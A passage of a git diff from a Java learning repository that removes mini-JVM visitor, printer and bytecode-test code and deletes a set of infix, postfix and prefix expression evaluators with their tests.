+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/FieldRefInfo.java
@@ -51,9 +51,4 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);
-		
-	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/MethodRefInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/MethodRefInfo.java
index 287c907259..cc5352db6e 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/MethodRefInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/MethodRefInfo.java
@@ -49,11 +49,6 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);
-	}
 	
 	
 	
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NameAndTypeInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NameAndTypeInfo.java
index 990c0f6a01..d1cd005111 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NameAndTypeInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NameAndTypeInfo.java
@@ -42,9 +42,4 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NullConstantInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NullConstantInfo.java
index 06c20e5b4f..38eef91f32 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NullConstantInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NullConstantInfo.java
@@ -9,9 +9,5 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		
-	}
 	
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/StringInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/StringInfo.java
index 00b9b9b706..8f23231e72 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/StringInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/StringInfo.java
@@ -22,11 +22,5 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-		
-	}
 	
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/UTF8Info.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/UTF8Info.java
index c0a7b4e0c5..d94a267bbc 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/UTF8Info.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/UTF8Info.java
@@ -26,10 +26,6 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-	}
 	
 	
 
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/method/Method.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/method/Method.java
index b8a3d7dca2..3298a36d6b 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/method/Method.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/method/Method.java
@@ -3,9 +3,6 @@
 import com.github.ipk2015.coding2017.minijvm.attr.AttributeInfo;
 import com.github.ipk2015.coding2017.minijvm.attr.CodeAttr;
 import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.cmd.ByteCodeCommand;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-import com.github.ipk2015.coding2017.minijvm.constant.UTF8Info;
 import com.github.ipk2015.coding2017.minijvm.loader.ByteCodeIterator;
 
 public class Method {
@@ -70,18 +67,4 @@ private static void addAttr(ClassFile clzFile,Method method,ByteCodeIterator ite
 			throw new RuntimeException("方法的此属性不存在："+attrName);
 		}
 	}
-	public ByteCodeCommand[] getCmds() {		
-		return this.getCodeAttr().getCmds();
-	}
-	
-	public String toString() {
-			
-			ConstantPool pool = this.clzFile.getConstantPool();
-			StringBuilder buffer = new StringBuilder();
-			String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-			String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-			buffer.append(name).append(":").append(desc).append("\n");
-			buffer.append(this.codeAttr.toString(pool));
-			return buffer.toString();
-		}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ClassFilePrinter.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ClassFilePrinter.java
deleted file mode 100644
index 2d7967cb41..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.print;
-
-import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
-import com.github.ipk2015.coding2017.minijvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMajorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-//		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-		String path = "E:\\javaImprove\\git\\group24\\121111914\\src\\com\\github\\ipk2015\\coding2017\\minijvm\\bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-//		String className = "com.coderising.jvm.test.EmployeeV1";
-		String className = "EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ConstantPoolPrinter.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 17b88d9932..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,88 +0,0 @@
-package com.github.ipk2015.coding2017.minijvm.print;
-
-import com.github.ipk2015.coding2017.minijvm.constant.ClassInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
-import com.github.ipk2015.coding2017.minijvm.constant.FieldRefInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.MethodRefInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.NameAndTypeInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.StringInfo;
-import com.github.ipk2015.coding2017.minijvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor(){
-
-			@Override
-			public void visitClassInfo(ClassInfo info) {
-				int utf8Index = info.getUtf8Index();
-				String className = info.getClassName();
-				sop("Class\t\t"+"#"+utf8Index+"\t\t// "+className);
-			}
-
-			@Override
-			public void visitFieldRef(FieldRefInfo info) {
-				int classInfoIndex = info.getClassInfoIndex();
-				int nameAndTypeIndex = info.getNameAndTypeIndex();
-				String className = info.getClassName();
-				String fieldName = info.getFieldName();
-				String fieldType = info.getFieldType();
-				sop("Fieldref\t\t"+"#"+classInfoIndex+".#"+nameAndTypeIndex+"\t\t// "
-				+className+"."+fieldName+":"+fieldType);
-			}
-
-			@Override
-			public void visitMethodRef(MethodRefInfo info) {
-				int classInfoIndex = info.getClassInfoIndex();
-				int nameAndTypeIndex = info.getNameAndTypeIndex();
-				String className = info.getClassName();
-				String methodName = info.getMethodName();
-				String paramAndReturnType = info.getParamAndReturnType();
-				sop("Methodref\t\t"+"#"+classInfoIndex+".#"+nameAndTypeIndex+"\t\t// "
-				+className+"."+methodName+":"+paramAndReturnType);
-				
-			}
-
-			@Override
-			public void visitNameAndType(NameAndTypeInfo info) {
-				int index1 = info.getIndex1();
-				int index2 = info.getIndex2();
-				String name = info.getName();
-				String typeInfo = info.getTypeInfo();
-				sop("NameAndType\t"+"#"+index1+".#"+index2+"\t\t// "+name+":"+typeInfo);
-			}
-
-			@Override
-			public void visitString(StringInfo info) {
-				int index = info.getIndex();
-				String utf8String = info.getConstantPool().getUTF8String(index);
-				sop("String\t\t"+"#"+index+"\t\t// "+utf8String);
-			}
-
-			@Override
-			public void visistUTF8(UTF8Info info) {
-				sop("Utf8\t\t"+info.getValue());
-			}
-			
-		};
-		
-		int size = pool.getSize();
-		for(int i = 1;i < size+1;i++){
-			ConstantInfo constantInfo = pool.getConstantInfo(i);
-			System.out.print("\t"+"#"+i+" = ");
-			constantInfo.accept(visitor);
-		}
-		
-	}
-	
-	public static void sop(String s){
-		System.out.println(s);
-	}
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/test/ClassFileloaderTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/test/ClassFileloaderTest.java
index 213046188c..0a3979119d 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/test/ClassFileloaderTest.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/test/ClassFileloaderTest.java
@@ -12,10 +12,6 @@
 
 import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
 import com.github.ipk2015.coding2017.minijvm.clz.ClassIndex;
-import com.github.ipk2015.coding2017.minijvm.cmd.BiPushCmd;
-import com.github.ipk2015.coding2017.minijvm.cmd.ByteCodeCommand;
-import com.github.ipk2015.coding2017.minijvm.cmd.OneOperandCmd;
-import com.github.ipk2015.coding2017.minijvm.cmd.TwoOperandCmd;
 import com.github.ipk2015.coding2017.minijvm.constant.ClassInfo;
 import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
 import com.github.ipk2015.coding2017.minijvm.constant.MethodRefInfo;
@@ -283,78 +279,5 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
-   
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
 
 }
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExpr.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index d3e9afbf9b..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-
-import com.johnChnia.coding2017.basic.List;
-
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		List<Token> tokens = InfixToPostfix.convert(this.expr);
-		return PostfixExpr.evaluate(tokens);
-	}
-	
-	
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExprTest.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index e47a8841da..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("10-2*3+50");
-			Assert.assertEquals(54, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixToPostfix.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixToPostfix.java
deleted file mode 100644
index e361815f02..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-
-import com.johnChnia.coding2017.basic.ArrayList;
-import com.johnChnia.coding2017.basic.List;
-import com.johnChnia.coding2017.basic.stack.Stack;
-
-
-/***
- * Rule:
- */
-public class InfixToPostfix {
-
-    public static List<Token> convert(String expr) {
-        TokenParser tokenParser = new TokenParser();
-        List<Token> tokens = tokenParser.parse(expr);
-        List<Token> list = new ArrayList<>();
-        Stack<Token> stack = new Stack<>();
-        for (int i = 0; i < tokens.size(); i++) {
-            Token token = tokens.get(i);
-            if (token.isNumber()) {
-                list.add(token);
-            } else if (token.isOperator()) {
-                while (!stack.empty() && !token.hasHigherPriority(stack.peek())) {
-                        list.add(stack.pop());
-                }
-                stack.push(token);
-
-            }
-        }
-        while (!stack.empty()) {
-            list.add(stack.pop());
-        }
-        return list;
-    }
-
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Operator.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Operator.java
deleted file mode 100644
index adc1aac489..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Operator.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-import com.johnChnia.coding2017.basic.stack.Stack;
-
-/**
- * Created by john on 2017/4/20.
- */
-public class Operator {
-
-    public void handlerToken(String fix, Stack<Float> stack, Token token) {
-        if (token.isNumber()) {
-            stack.push(Float.parseFloat(token.toString()));
-        } else if (token.isOperator()) {
-            float p = stack.pop();
-            float q = stack.pop();
-            stack.push(perform(fix, token.toString(), p, q));
-        }
-    }
-
-
-    private float perform(String fix, String operator, float p, float q) {
-        float result = 0.0f;
-        if (operator.equals("+")) {
-            result = p + q;
-        } else if (operator.equals("-")) {
-            if (fix.equals("postfix")) {
-                result = q - p;
-            } else if (fix.equals("prefix")) {
-                result = p - q;
-            }
-        } else if (operator.equals("*")) {
-            result = p * q;
-        } else if (operator.equals("/")) {
-            if (fix.equals("postfix")) {
-                result = q / p;
-            } else if (fix.equals("prefix")) {
-                result = p / q;
-            }
-        }
-        return result;
-    }
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExpr.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index 4046c13830..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-import com.johnChnia.coding2017.basic.List;
-import com.johnChnia.coding2017.basic.stack.Stack;
-
-public class PostfixExpr {
-    private String expr = null;
-    static Operator operator = new Operator();
-
-
-    public PostfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        TokenParser tokenParser = new TokenParser();
-        List<Token> tokens = tokenParser.parse(this.expr);
-        Stack<Float> stack = new Stack<>();
-        for (int i = 0; i < tokens.size(); i++) {
-            operator.handlerToken("postfix", stack, tokens.get(i));
-
-        }
-
-        return stack.pop();
-    }
-
-    public static float evaluate(List<Token> tokens) {
-        Stack<Float> stack = new Stack<>();
-        for (int i = 0; i < tokens.size(); i++) {
-            operator.handlerToken("postfix", stack, tokens.get(i));
-        }
-        return stack.pop();
-    }
-
-
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExprTest.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index 312eed28b3..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExpr.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index c16f529845..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-import com.johnChnia.coding2017.basic.List;
-import com.johnChnia.coding2017.basic.stack.Stack;
-
-public class PrefixExpr {
-    String expr = null;
-
-    public PrefixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        TokenParser tokenParser = new TokenParser();
-        List<Token> tokens = tokenParser.parse(this.expr);
-        Operator operator = new Operator();
-        Stack<Float> stack = new Stack<>();
-        for (int i = tokens.size() - 1; i >= 0; i--) {
-            operator.handlerToken("prefix", stack, tokens.get(i));
-        }
-        return stack.pop();
-    }
-
-
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExprTest.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index 30f67b2710..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        {
-            // 2*3+4*5
-            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-            Assert.assertEquals(26, expr.evaluate(), 0.001f);
-        }
-        {
-            // 4*2 + 6+9*2/3 -8
-            PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-            Assert.assertEquals(12, expr.evaluate(), 0.001f);
-        }
-        {
-            //(3+4)*5-6
-            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-            Assert.assertEquals(29, expr.evaluate(), 0.001f);
-        }
-        {
-            //1+((2+3)*4)-5
-            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-            Assert.assertEquals(16, expr.evaluate(), 0.001f);
-        }
-
-
-    }
-
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Token.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Token.java
deleted file mode 100644
index f87a210587..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Token.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	
-
-}
\ No newline at end of file
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParser.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParser.java
deleted file mode 100644
index b9c8b80444..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-
-import com.johnChnia.coding2017.basic.ArrayList;
-import com.johnChnia.coding2017.basic.List;
-
-public class TokenParser {
-
-
-    public List<Token> parse(String expr) {
-        List<Token> tokens = new ArrayList<>();
-
-        int i = 0;
-
-        while (i < expr.length()) {
-
-            char c = expr.charAt(i);
-
-            if (isOperator(c)) {
-
-                Token t = new Token(Token.OPERATOR, String.valueOf(c));
-                tokens.add(t);
-                i++;
-
-            } else if (Character.isDigit(c)) {
-
-                int nextOperatorIndex = indexOfNextOperator(i, expr);
-                String value = expr.substring(i, nextOperatorIndex);
-                Token t = new Token(Token.NUMBER, value);
-                tokens.add(t);
-                i = nextOperatorIndex;
-
-            } else {
-                System.out.println("char :[" + c + "] is not number or operator,ignore");
-                i++;
-            }
-
-        }
-        return tokens;
-    }
-
-    private int indexOfNextOperator(int i, String expr) {
-
-        while (Character.isDigit(expr.charAt(i))) {
-            i++;
-            if (i == expr.length()) {
-                break;
-            }
-        }
-        return i;
-
-    }
-
-    private boolean isOperator(char c) {
-        String sc = String.valueOf(c);
-        return Token.OPERATORS.contains(sc);
-    }
-}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParserTest.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParserTest.java
deleted file mode 100644
index cdb3b091db..0000000000
--- a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.johnChnia.coding2017.basic.stack.expr;
-
-import com.johnChnia.coding2017.basic.List;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-
-}
diff --git a/group24/315863321/src/main/java/jvm/loader/ClassFileLoader.java b/group24/315863321/src/main/java/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index a300edafc7..0000000000
--- a/group24/315863321/src/main/java/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package jvm.loader;
-
-
-import com.johnChnia.coding2017.basic.ArrayList;
-import com.johnChnia.coding2017.basic.List;
-
-import java.io.*;
-
-/**
- * @// TODO: 2017/4/20 改成  try... with...resource
- * @// TODO: 2017/4/20 close inputstream
- * @// TODO: 2017/4/20 修改TreeInfo直接返回File
- */
-public class ClassFileLoader {
-
-    private List<String> clzPaths = new ArrayList<String>();
-
-    public byte[] readBinaryCode(String className) {
-        for (int i = 0; i < clzPaths.size(); i++) {
-            // 找到指定类文件
-            Directory.TreeInfo treeInfo = Directory.walk(clzPaths.get(i), className);
-            if (treeInfo.files.size() > 0) {
-                try {
-                    FileInputStream fis = new FileInputStream(treeInfo.files.get(0));
-                    ByteArrayOutputStream bos = new ByteArrayOutputStream();  // 自动增长
-                    byte[] buff = new byte[1024];
-                    int len;
